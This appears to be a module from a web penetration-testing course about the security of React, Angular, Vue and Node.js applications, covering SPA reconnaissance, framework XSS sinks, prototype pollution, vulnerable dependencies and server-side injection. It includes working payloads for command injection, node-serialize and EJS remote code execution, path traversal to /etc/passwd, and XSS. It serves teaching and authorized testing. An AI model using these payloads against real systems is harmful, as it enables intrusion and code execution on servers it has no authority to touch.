Opening Framing: The Framework Era
Modern web development is dominated by frameworks—React, Angular, Vue on the frontend; Express, Django, Spring, Laravel on the backend. These frameworks include security features by default, but they also introduce new attack surfaces and failure modes.
Frameworks change the testing approach. Traditional XSS payloads may not work against React's virtual DOM. SQLi is rare in applications using ORMs properly. But new vulnerabilities emerge—prototype pollution, JWT misuse, insecure defaults, and framework-specific bypasses.
This week covers testing modern JavaScript frameworks, understanding framework-specific vulnerabilities, and adapting your methodology for contemporary applications.
Key insight: Frameworks reduce some vulnerabilities but create new ones. Know what each framework protects—and doesn't.
1) Single Page Application (SPA) Security
Understanding modern frontend architecture:
SPA Architecture:
Traditional Web App:
Browser ←→ Server ←→ Database
Server generates HTML
Single Page Application:
Browser (JS App) ←→ API ←→ Database
Client renders everything
Server provides data via API
Security Implications:
- Business logic moves to client
- Client-side routing
- State management client-side
- API is the true attack surface
SPA Reconnaissance:
# Finding JavaScript files:
# Check page source:
<script src="/static/js/main.abc123.js"></script>
# Common bundle locations:
/static/js/
/assets/js/
/dist/
/bundle.js
/main.js
/app.js
/vendor.js
/runtime.js
/chunk-*.js
# Source maps (jackpot!):
/static/js/main.abc123.js.map
# Reveals original source code!
# Tools:
# Browser DevTools → Sources tab
# Shows all loaded scripts
JavaScript Analysis:
# Extracting information from JS:
# API endpoints:
grep -oE '"/api/[^"]+' main.js
grep -oE 'https?://[^"]+' main.js
# Hardcoded secrets:
grep -i 'api_key\|apikey\|secret\|password\|token' main.js
# Hidden functionality:
# Look for admin routes, debug endpoints
# Tools:
# - LinkFinder: Extracts URLs from JS
# - SecretFinder: Finds secrets in JS
# - JSParser: Parses JS for endpoints
# LinkFinder:
python linkfinder.py -i https://target.com/main.js -o cli
# Beautify minified JS:
# Browser DevTools → Pretty print
# Online: beautifier.io
Client-Side Routing:
# SPAs use client-side routing:
https://app.com/dashboard → Same HTML
https://app.com/admin → Same HTML
https://app.com/settings → Same HTML
# All routes load same index.html
# JavaScript handles routing
# Security testing:
1. Access "protected" routes directly
# /admin may load without auth check
2. Check if routes exist in JS
# grep for route definitions
3. API calls may still require auth
# But UI may be visible
# React Router patterns:
<Route path="/admin" component={AdminPanel} />
# Search JS for Route patterns
# Angular patterns:
{ path: 'admin', component: AdminComponent }
# Search for path: definitions
Key insight: SPAs shift security concerns to APIs. But client-side code often reveals API endpoints and logic.
2) React, Angular, and Vue Security
Framework-specific security considerations:
React Security:
Built-in XSS Protection:
- JSX auto-escapes by default
- {userInput} is safe
Dangerous patterns:
- dangerouslySetInnerHTML={{__html: userInput}}
- href={userInput} (javascript: URLs)
- eval() usage
- Server-Side Rendering (SSR) XSS
# Testing React XSS:
# Look for dangerouslySetInnerHTML in source
# Test javascript: URLs in links
# Check SSR endpoints for reflection
Angular Security:
Angular Security:
Built-in Protection:
- Automatic sanitization
- Template expression sandboxing (newer versions)
Dangerous patterns:
- [innerHTML]="userInput" (sanitized but check)
- bypassSecurityTrust*() methods
- Template injection (older Angular)
# Bypass methods to look for:
bypassSecurityTrustHtml()
bypassSecurityTrustScript()
bypassSecurityTrustUrl()
bypassSecurityTrustResourceUrl()
bypassSecurityTrustStyle()
# If user input reaches these = XSS
# Testing:
grep -r "bypassSecurityTrust" *.js
grep -r "\[innerHTML\]" *.html
Vue.js Security:
Vue Security:
Built-in Protection:
- Template expressions auto-escaped
- {{ userInput }} is safe
Dangerous patterns:
- v-html="userInput"
- :href="userInput" (javascript: URLs)
- Server-side rendering XSS
- Template compilation from user input
# Testing Vue XSS:
# Search for v-html directives
grep -r "v-html" *.vue *.js
# Check for dynamic templates:
new Vue({
template: userInput // Dangerous!
})
Common Frontend Vulnerabilities:
# PostMessage vulnerabilities:
# Insecure origin check:
window.addEventListener('message', function(e) {
// No origin validation!
eval(e.data);
});
# Attack:
# Open target in iframe
# Send malicious postMessage
# Testing:
# Search for addEventListener('message'
# Check if origin is validated
# Check what happens with message data
# localStorage/sessionStorage:
# Sensitive data in storage:
localStorage.setItem('token', jwt);
localStorage.setItem('user', JSON.stringify(userData));
# XSS can read all storage!
# Check what's stored
# DevTools → Application → Storage
# Open Redirect in SPAs:
# Redirect parameter in URL:
https://app.com/login?redirect=/dashboard
https://app.com/login?redirect=https://evil.com
# Test for open redirects
# Check client-side redirect logic
Key insight: Frameworks protect against basic XSS but provide escape hatches. Find where developers use them.
3) Prototype Pollution
JavaScript-specific vulnerability class:
Prototype Pollution Concept:
JavaScript objects inherit from prototypes:
let obj = {};
obj.toString(); // Inherited from Object.prototype
If attacker can modify Object.prototype:
Object.prototype.isAdmin = true;
Every object now has isAdmin = true!
let user = {};
if (user.isAdmin) {
// Grants admin access!
}
How Pollution Occurs:
# Vulnerable merge/extend functions:
function merge(target, source) {
for (let key in source) {
target[key] = source[key];
}
return target;
}
# Attack payload:
{
"__proto__": {
"isAdmin": true
}
}
# After merge:
merge({}, {"__proto__": {"isAdmin": true}});
# Object.prototype.isAdmin is now true!
# Alternative payloads:
{"constructor": {"prototype": {"isAdmin": true}}}
# Vulnerable functions:
- Object.assign (in some cases)
- jQuery.extend (deep mode)
- lodash.merge (older versions)
- Custom recursive merge
Prototype Pollution Impact:
# Depending on application, pollution enables:
1. Property injection (access control bypass):
if (user.isAdmin) // Polluted = true
2. XSS via polluted properties:
# If code uses obj.innerHTML or similar
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>'
3. RCE in Node.js:
# Pollute properties used by child_process
{"__proto__": {"shell": "/proc/self/exe", "argv0": "console.log(1)"}}
4. Denial of Service:
Object.prototype.length = 0;
# Breaks array operations
Testing for Prototype Pollution:
# Server-side testing (Node.js):
# In JSON body:
{"__proto__": {"polluted": "yes"}}
{"constructor": {"prototype": {"polluted": "yes"}}}
# Check response or behavior change
# Look for errors
# Client-side testing:
# URL parameters:
?__proto__[polluted]=yes
?constructor[prototype][polluted]=yes
# Check in console:
({}).polluted // Returns "yes" if vulnerable
# Tools:
# - ppmap (prototype pollution scanner)
# - Burp extension: Server-Side Prototype Pollution Scanner
# Common sources:
- JSON.parse() of user input
- URL parameter parsing (qs library)
- Merge/extend operations
Key insight: Prototype pollution is subtle but powerful. One polluted property can affect the entire application.
4) Dependency Vulnerabilities
Attacking through third-party code:
The Dependency Problem:
Modern apps have hundreds of dependencies:
- npm packages (JavaScript)
- PyPI packages (Python)
- Maven/Gradle (Java)
- Gems (Ruby)
- Composer (PHP)
Each dependency:
- May have vulnerabilities
- May have its own dependencies
- May be unmaintained
- May be malicious
Finding Vulnerable Dependencies:
# Identify dependencies:
# JavaScript (package.json):
{
"dependencies": {
"lodash": "^4.17.0",
"express": "^4.17.1"
}
}
# Check for vulnerable versions:
npm audit
yarn audit
# Online databases:
# - Snyk (snyk.io)
# - npm audit
# - OWASP Dependency Check
# - retire.js (client-side)
# retire.js (scan for vulnerable JS):
retire --js /path/to/js/files
# Snyk CLI:
snyk test
Client-Side Library Detection:
# Identify frontend libraries:
# Browser console:
jQuery.fn.jquery // jQuery version
angular.version // Angular version
React.version // React version
Vue.version // Vue version
# Wappalyzer extension:
# Shows all detected technologies
# retire.js browser extension:
# Flags vulnerable libraries
# Common vulnerable libraries:
- jQuery < 3.5.0 (XSS)
- Angular < 1.6.0 (sandbox escape)
- lodash < 4.17.19 (prototype pollution)
- bootstrap < 4.3.1 (XSS)
Exploiting Known CVEs:
# Once you identify versions:
1. Search for CVEs:
# NVD: nvd.nist.gov
# Snyk Vulnerability DB
# GitHub Security Advisories
2. Find exploit details:
# CVE description
# Proof of concept
# Affected versions
3. Test exploitation:
# Adapt PoC to target
# Verify vulnerability
# Example: jQuery < 3.5.0 XSS
# CVE-2020-11022, CVE-2020-11023
# XSS via HTML parsing
# Example: Lodash prototype pollution
# CVE-2019-10744
# Prototype pollution via defaultsDeep
Supply Chain Attacks:
# Malicious packages:
# Typosquatting:
lodash → lodahs (malicious)
express → expresss (malicious)
# Dependency confusion:
# Internal package name used
# Attacker publishes public package with same name
# Build system pulls malicious public package
# Compromised packages:
# Legitimate package maintainer compromised
# Malicious code injected into update
# Testing considerations:
# - Review package.json for suspicious packages
# - Check package download counts
# - Verify package publisher
# - Use lockfiles (package-lock.json)
Key insight: Applications are only as secure as their weakest dependency. Known CVEs provide easy exploitation.
5) Server-Side JavaScript (Node.js)
Node.js specific vulnerabilities:
Node.js Attack Surface:
- Server-side JavaScript execution
- npm ecosystem vulnerabilities
- Prototype pollution (server-side)
- Insecure deserialization
- SSRF through request libraries
- Path traversal
- Command injection via child_process
Node.js Injection:
# Command injection:
# Vulnerable:
const { exec } = require('child_process');
exec('ping ' + userInput);
# Attack:
userInput = '127.0.0.1; whoami'
# eval injection:
# Vulnerable:
eval('var result = ' + userInput);
# Attack:
userInput = '1; require("child_process").execSync("whoami")'
# Template injection (EJS, Pug, etc.):
# Similar to SSTI covered in Week 8
Node.js Deserialization:
# node-serialize vulnerability:
# Vulnerable code:
var serialize = require('node-serialize');
var payload = req.body.data;
serialize.unserialize(payload);
# Attack payload (RCE):
{
"rce": "_$$ND_FUNC$$_function(){require('child_process').exec('whoami')}()"
}
# The function is executed during deserialization!
# Testing:
# Look for unserialize calls
# Send payload with $$ND_FUNC$$ pattern
Path Traversal in Node.js:
# Express static files:
# Vulnerable:
app.use(express.static('public'));
app.get('/files/:name', (req, res) => {
res.sendFile(path.join(__dirname, 'uploads', req.params.name));
});
# Attack:
GET /files/../../../etc/passwd
# Node.js specific:
# path.join doesn't prevent traversal
# Must validate input
# Testing:
../
..%2f
..%252f
%2e%2e%2f
Server-Side Prototype Pollution:
# More impactful on server-side:
# Can lead to RCE via:
1. Polluting child_process options
2. Polluting require() behavior
3. Polluting EJS/Pug template options
# EJS RCE via prototype pollution:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('whoami');x"}}
# When EJS renders, executes command!
# Testing:
# Find merge/extend operations
# Send __proto__ payload
# Check for behavior changes
Key insight: Node.js brings JavaScript vulnerabilities server-side. Prototype pollution becomes especially dangerous.
Real-World Context: Modern Framework Security
Framework vulnerabilities in practice:
Framework Adoption: React, Angular, and Vue dominate modern web development. Understanding their security models is essential for testing contemporary applications.
Dependency Nightmares: Major incidents like event-stream (malicious code in popular package) and Log4Shell (vulnerability in ubiquitous library) demonstrate the supply chain risk. One vulnerable dependency affects millions of apps.
Prototype Pollution Rise: Once obscure, prototype pollution has become a recognized vulnerability class with real-world exploits. Major frameworks have had prototype pollution CVEs.
MITRE ATT&CK Mapping:
- T1059.007 - JavaScript: Client/server JS attacks
- T1195.002 - Supply Chain Compromise: Dependency attacks
- T1190 - Exploit Public-Facing Application: Framework CVEs
Key insight: Modern frameworks reduce basic vulnerabilities but create new complexity. Stay current on framework-specific issues.
Guided Lab: Modern Framework Testing
Practice testing modern web applications.